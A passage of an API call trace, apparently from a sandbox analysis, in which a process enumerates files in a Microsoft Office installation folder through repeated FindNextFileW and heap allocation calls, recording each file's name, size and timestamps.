dwReserved1=0x0, cFileName="Library", cAlternateFileName="")) returned 1 [0069.321] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd5dfae80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xfafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOGELEMS.DLL", cAlternateFileName="")) returned 1 [0069.321] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.321] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4ab4f00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x82482540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb4ab4f00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0xb590, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOGMODEL.MDL", cAlternateFileName="")) returned 1 [0069.321] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.321] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c850300, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd5e93400, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1c850300, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x77da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOGVIEW.DLL", cAlternateFileName="")) returned 1 [0069.321] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.321] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3ce9100, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x6960cfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc3ce9100, ftLastWriteTime.dwHighDateTime=0x1c21319, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOOKUP.DAT", cAlternateFileName="")) returned 1 [0069.321] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.321] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ae6c00, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x582d2010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe6ae6c00, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x65da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MAPIPH.DLL", cAlternateFileName="")) returned 1 [0069.321] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.321] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x473d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MAPISHELL.DLL", cAlternateFileName="")) returned 1 [0069.321] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.321] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8c44700, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe8c44700, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x23570, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCPS.DLL", cAlternateFileName="")) returned 1 [0069.321] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.321] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40dec00, ftCreationTime.dwHighDateTime=0x1cb7010, ftLastAccessTime.dwLowDateTime=0xcf009660, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x40dec00, ftLastWriteTime.dwHighDateTime=0x1cb7010, nFileSizeHigh=0x0, nFileSizeLow=0xfdb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="MEDCAT.DLL", cAlternateFileName="")) returned 1 [0069.321] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.321] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x708e7550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x708e7550, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MEDIA", cAlternateFileName="")) returned 1 [0069.321] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d4f5000, ftCreationTime.dwHighDateTime=0x1cac037, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d4f5000, ftLastWriteTime.dwHighDateTime=0x1cac037, nFileSizeHigh=0x0, nFileSizeLow=0x1c798, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.BusinessData.dll", cAlternateFileName="")) returned 1 [0069.321] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.321] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36c06100, ftCreationTime.dwHighDateTime=0x1ca24ad, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x36c06100, ftLastWriteTime.dwHighDateTime=0x1ca24ad, nFileSizeHigh=0x0, nFileSizeLow=0x5a768, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.BusinessData.xml", cAlternateFileName="")) returned 1 [0069.321] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.321] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17441800, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x662b9570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17441800, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0x8a780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.BusinessApplications.Runtime.dll", cAlternateFileName="")) returned 1 [0069.321] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.321] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe853200, ftCreationTime.dwHighDateTime=0x1ca24ae, ftLastAccessTime.dwLowDateTime=0x568a2e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe853200, ftLastWriteTime.dwHighDateTime=0x1ca24ae, nFileSizeHigh=0x0, nFileSizeLow=0x295c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.BusinessApplications.Runtime.xml", cAlternateFileName="")) returned 1 [0069.321] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.321] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ad79f00, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x67a61010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ad79f00, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0xa2780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.BusinessApplications.RuntimeUi.dll", cAlternateFileName="")) returned 1 [0069.321] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.321] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd33c3f00, ftCreationTime.dwHighDateTime=0x1ca2551, ftLastAccessTime.dwLowDateTime=0x67a61010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd33c3f00, ftLastWriteTime.dwHighDateTime=0x1ca2551, nFileSizeHigh=0x0, nFileSizeLow=0xb2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.BusinessApplications.RuntimeUi.xml", cAlternateFileName="")) returned 1 [0069.321] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.321] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ad79f00, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x575e0870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ad79f00, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0xe9780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.BusinessData.dll", cAlternateFileName="")) returned 1 [0069.321] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.322] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe853200, ftCreationTime.dwHighDateTime=0x1ca24ae, ftLastAccessTime.dwLowDateTime=0x575e0870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe853200, ftLastWriteTime.dwHighDateTime=0x1ca24ae, nFileSizeHigh=0x0, nFileSizeLow=0x33737, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.BusinessData.xml", cAlternateFileName="")) returned 1 [0069.322] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.322] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0139200, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd0139200, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x4998, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.Client.Internal.CLRHost.dll", cAlternateFileName="")) returned 1 [0069.322] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.322] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdb13800, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x543977b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcdb13800, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0xa780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.FormControl.dll", cAlternateFileName="")) returned 1 [0069.322] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.322] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0139200, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x61e95fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd0139200, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x63790, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Interop.InfoPath.SemiTrust.dll", cAlternateFileName="")) returned 1 [0069.322] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.322] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d265900, ftCreationTime.dwHighDateTime=0x1ca5630, ftLastAccessTime.dwLowDateTime=0x542d90d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d265900, ftLastWriteTime.dwHighDateTime=0x1ca5630, nFileSizeHigh=0x0, nFileSizeLow=0xc5265, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Interop.InfoPath.SemiTrust.xml", cAlternateFileName="")) returned 1 [0069.322] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.322] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0139200, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x561caed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd0139200, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x15780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Interop.InfoPath.Xml.dll", cAlternateFileName="")) returned 1 [0069.322] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.322] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62def200, ftCreationTime.dwHighDateTime=0x1c9bc30, ftLastAccessTime.dwLowDateTime=0x65d38290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x62def200, ftLastWriteTime.dwHighDateTime=0x1c9bc30, nFileSizeHigh=0x0, nFileSizeLow=0x837d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Interop.InfoPath.Xml.xml", cAlternateFileName="")) returned 1 [0069.322] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.322] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x102e00, ftCreationTime.dwHighDateTime=0x1cab7e3, ftLastAccessTime.dwLowDateTime=0x853ab920, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x102e00, ftLastWriteTime.dwHighDateTime=0x1cab7e3, nFileSizeHigh=0x0, nFileSizeLow=0x12798, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Interop.Visio.WorkflowAuthoring.dll", cAlternateFileName="")) returned 1 [0069.322] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.322] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa52c0600, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x853ab920, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa52c0600, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x67760, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.office.workflow.actions.proxy.dll", cAlternateFileName="")) returned 1 [0069.322] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.322] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17441800, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x5687ccb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17441800, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0x7d780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SharePoint.BusinessData.Administration.Client.dll", cAlternateFileName="")) returned 1 [0069.322] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.322] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe853200, ftCreationTime.dwHighDateTime=0x1ca24ae, ftLastAccessTime.dwLowDateTime=0x5687ccb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe853200, ftLastWriteTime.dwHighDateTime=0x1ca24ae, nFileSizeHigh=0x0, nFileSizeLow=0x311b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SharePoint.BusinessData.Administration.Client.xml", cAlternateFileName="")) returned 1 [0069.322] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.322] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x853ab920, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x74760, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.sharepoint.workflowactions.proxy.dll", cAlternateFileName="")) returned 1 [0069.322] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.322] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31ae500, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x69c26830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe31ae500, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x84760, dwReserved0=0x0, dwReserved1=0x0, cFileName="MIMEDIR.DLL", cAlternateFileName="")) returned 1 [0069.322] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.322] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2796a00, ftCreationTime.dwHighDateTime=0x1cacb3c, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2796a00, ftLastWriteTime.dwHighDateTime=0x1cacb3c, nFileSizeHigh=0x0, nFileSizeLow=0x8b760, dwReserved0=0x0, dwReserved1=0x0, cFileName="misc.exe", cAlternateFileName="")) returned 1 [0069.322] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.322] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x58adaa50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x12588, dwReserved0=0x0, dwReserved1=0x0, cFileName="MLCFG32.CPL", cAlternateFileName="")) returned 1 [0069.322] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.323] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31ae500, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe31ae500, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x5980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MLSHEXT.DLL", cAlternateFileName="")) returned 1 [0069.323] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.323] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe79fd00, ftCreationTime.dwHighDateTime=0x1c9cdff, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe79fd00, ftLastWriteTime.dwHighDateTime=0x1c9cdff, nFileSizeHigh=0x0, nFileSizeLow=0x25f87, dwReserved0=0x0, dwReserved1=0x0, cFileName="MML2OMML.XSL", cAlternateFileName="")) returned 1 [0069.323] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.323] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ee75d00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd6140cc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1ee75d00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x9f368, dwReserved0=0x0, dwReserved1=0x0, cFileName="MODELENG.DLL", cAlternateFileName="")) returned 1 [0069.323] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.323] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83e01e00, ftCreationTime.dwHighDateTime=0x1cab8a8, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83e01e00, ftLastWriteTime.dwHighDateTime=0x1cab8a8, nFileSizeHigh=0x0, nFileSizeLow=0x9a790, dwReserved0=0x0, dwReserved1=0x0, cFileName="MORPH9.DLL", cAlternateFileName="")) returned 1 [0069.323] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.323] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x82755f60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x32960, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPXINT.DLL", cAlternateFileName="")) returned 1 [0069.323] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.323] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaca1de00, ftCreationTime.dwHighDateTime=0x1cab7ea, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaca1de00, ftLastWriteTime.dwHighDateTime=0x1cab7ea, nFileSizeHigh=0x0, nFileSizeLow=0xa5580, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSACC.OLB", cAlternateFileName="")) returned 1 [0069.323] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.323] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5fbe00, ftCreationTime.dwHighDateTime=0x1cab8ab, ftLastAccessTime.dwLowDateTime=0x69da35f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc5fbe00, ftLastWriteTime.dwHighDateTime=0x1cab8ab, nFileSizeHigh=0x0, nFileSizeLow=0x132cb60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSACCESS.EXE", cAlternateFileName="")) returned 1 [0069.323] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.323] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe53eb900, ftCreationTime.dwHighDateTime=0x1cab7e4, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe53eb900, ftLastWriteTime.dwHighDateTime=0x1cab7e4, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x0, dwReserved1=0x0, cFileName="msaccess.exe.manifest", cAlternateFileName="")) returned 1 [0069.323] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.323] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2e9100, ftCreationTime.dwHighDateTime=0x1cab8ab, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2e9100, ftLastWriteTime.dwHighDateTime=0x1cab8ab, nFileSizeHigh=0x0, nFileSizeLow=0x14188, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSAEXP30.DLL", 